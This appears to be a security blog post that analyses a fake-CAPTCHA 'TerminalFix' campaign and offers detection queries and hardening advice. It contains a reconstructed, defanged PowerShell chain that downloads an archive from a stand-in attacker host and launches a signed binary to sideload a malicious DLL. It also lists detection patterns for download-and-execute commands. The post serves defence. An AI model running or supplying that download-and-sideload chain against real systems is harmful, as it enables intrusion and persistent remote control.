Three things TerminalFix got right that ClickFix never bothered with

Three things TerminalFix got right that ClickFix never bothered with

The ticket came in late on a Friday afternoon, which is how these things always start. “Terminal opened by itself and then closed. Probably nothing.” It was not nothing.

The user — a developer, not someone who falls for Nigerian princes — had hit a site that threw up a Cloudflare “checking your browser” page. Familiar turnstile, familiar orange. Except this one said the automatic check had failed and he’d need to “verify manually”: press Win + X, choose Terminal, paste, hit Enter. He did. Of course he did. He’s a developer. Pasting things into a terminal is his entire job.

That’s the whole trick. This is the campaign Microsoft Threat Intelligence wrote up as TerminalFix, and The Hacker News picked up the same day. Let me walk through it in roughly the order it makes sense to look at it, including the part where the obvious first move is the wrong one.

First: they moved the crime scene from a dark alley to the lobby

Classic ClickFix leaned on the Run dialog — Win + R, paste, Enter. It worked for a while, but it had a tell. The Run box is a narrow little strip that power users associate with typing services.msc or ncpa.cpl, not pasting three hundred characters of base64. When a normal person sees a webpage telling them to open Run and paste a wall of text, some part of the lizard brain lights up. This feels wrong.

Windows Terminal doesn’t trip that wire. It’s the default on Windows 11, it’s where developers live, and pasting long commands into it is completely ordinary. The attackers didn’t find a new vulnerability. They found a more respectable-looking room to commit the same crime in. Think of it as the difference between a stranger asking you to sign a contract on the hood of a car versus in a nice office with a receptionist. Same contract. Your guard is just lower in the lobby.

So the “vulnerability” here is social, and the exposed configuration is boring: Windows 11, Terminal present and default, a user with permission to run PowerShell. That’s most of a normal fleet. There is no CVE. Don’t wait for a patch that isn’t coming.

Second: the command was designed to be read and dismissed

Pull the clipboard artifact and the PowerShell console history and the pasted command isn’t an obvious blob. It opens with a comment made to look like a Cloudflare ray ID and a reassuring “Security verification” string, so if the user glances at it before hitting Enter, the first thing they read looks administrative and dull. The malicious part sits further right, past where a nervous eye stops reading.

The rough shape of what it does:

audit.ps1PowerShell
# what the pasted one-liner actually does, reconstructed and defanged
# 1. reach out to an attacker host and pull an archive
Invoke-WebRequest -Uri 'hxxps://cdn-verify[.]example/pkg.zip' -OutFile "$env:TEMP\pkg.zip"
# 2. expand next to a signed, legitimate executable
Expand-Archive "$env:TEMP\pkg.zip" "$env:APPDATA\Sync"
# 3. launch the SIGNED binary, which loads the attacker's DLL sitting beside it
Start-Process "$env:APPDATA\Sync\legit-signed.exe"

Step three is the elegant, irritating bit. The executable is legitimately signed by a real vendor. The malice lives in a DLL dropped next to it — DLL sideloading. Windows resolves the dependency from the application directory first, so the signed process obligingly loads the attacker’s code and now every child process, every network call, inherits a trusted parent’s reputation. Your EDR sees a signed vendor app talking to the internet. Yawn. That’s the point.

From there it establishes a reverse tunnel for command and control — the compromised host dials out to the attacker and holds the connection open, so C2 traffic rides an outbound session that looks like the user browsing. No inbound port to firewall. It’s the burglar who gets the house to phone him, on a line you opened yourself.

Third: it writes almost nothing suspicious to disk

Here’s where you can burn an hour going the wrong way. The instinct is to hunt the malicious DLL by hash and chase the download URL. Both are usually already dead — infrastructure rotated, hash unique to that victim. Chasing the payload is chasing smoke. The durable signal isn’t the malware. It’s the venue: a browser or Explorer spawning Windows Terminal, which spawns PowerShell, which reaches the internet, within seconds. That sequence almost never happens legitimately.

So stop hunting the DLL and hunt the shape. This is a working MDE query for it:

query.sqlSQL
// Terminal/PowerShell spawned from a browser, then reaching out
let lookback = 3d;
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","explorer.exe")
| where FileName in~ ("wt.exe","powershell.exe","pwsh.exe","cmd.exe")
| project Timestamp, DeviceId, DeviceName, AccountName,
          InitiatingProcessFileName, FileName, ProcessCommandLine
| join kind=inner (
    DeviceNetworkEvents
    | where Timestamp > ago(lookback)
    | where InitiatingProcessFileName in~ ("powershell.exe","pwsh.exe")
    | project DeviceId, NetTime = Timestamp, RemoteUrl, RemoteIP
) on DeviceId
| where NetTime between (Timestamp .. (Timestamp + 5m))
| sort by Timestamp desc

Tune the window and add your known-good automation before you switch on alerting, or you’ll drown in your own CI runners. Defender’s own detections do fire on the sideloaded DLL’s behaviour once it executes — but the point of the hunt above is to catch the paste-and-run pattern before the payload does anything clever. If you’re on Sentinel, the same join across DeviceProcessEvents and DeviceNetworkEvents works with the tables in your workspace.

For a quick local sanity check on a single suspect box, PowerShell’s own history file is a gift the attackers forgot to clean:

audit.ps1PowerShell
# dry-run: read, don't delete. review recent console history for paste-and-run
$hist = (Get-PSReadlineOption).HistorySavePath
if (Test-Path $hist) {
    Get-Content $hist -Tail 200 |
      Select-String -Pattern 'Invoke-WebRequest|IWR|curl|Invoke-Expression|IEX|DownloadString|FromBase64String' |
      ForEach-Object { "[review] $_" }
}

What holds, and the thing you’ll nearly break

The tempting first move is to block wt.exe outright via WDAC. Don’t — half your engineers live in that binary, and blocking Terminal to stop TerminalFix is like welding the front door shut because someone knocked.

What actually holds, in priority order:

  • Constrain the child, not the parent. An AppLocker or WDAC rule that stops powershell.exe/pwsh.exe from being spawned by browser processes kills the chain without touching a developer opening Terminal themselves. Audit-mode first — always report before you enforce.
  • Controlled Folder Access won’t stop Terminal running, but it blunts the sideload’s ability to write into protected user directories. Cheap, worth having on.
  • PowerShell Constrained Language Mode for non-developer populations. Most of your finance team never needs full-language PowerShell. The developers who do can be scoped out.
  • The training that works isn’t “don’t run commands.” It’s one sentence: no legitimate website will ever ask you to paste a command into Terminal to prove you’re human. A CAPTCHA that needs a shell is not a CAPTCHA. Say that to your users and you’ve closed more of this than any GPO.

Urgency: this week, not tonight. There’s no wormable exploit here and no emergency patch — the honest read is that this is ClickFix with better manners, and manufacturing a fire drill would be dishonest. But the manners are exactly why it converts better, and the browser-spawns-shell hunt is a couple of hours of work that will catch this pattern the first time it runs.

If you tell one person one thing before they go do this: don’t hunt the payload. Hunt the doorway. The DLL will be gone by the time you look — but a browser giving birth to a shell that phones home is a shape that never lies.

Related Post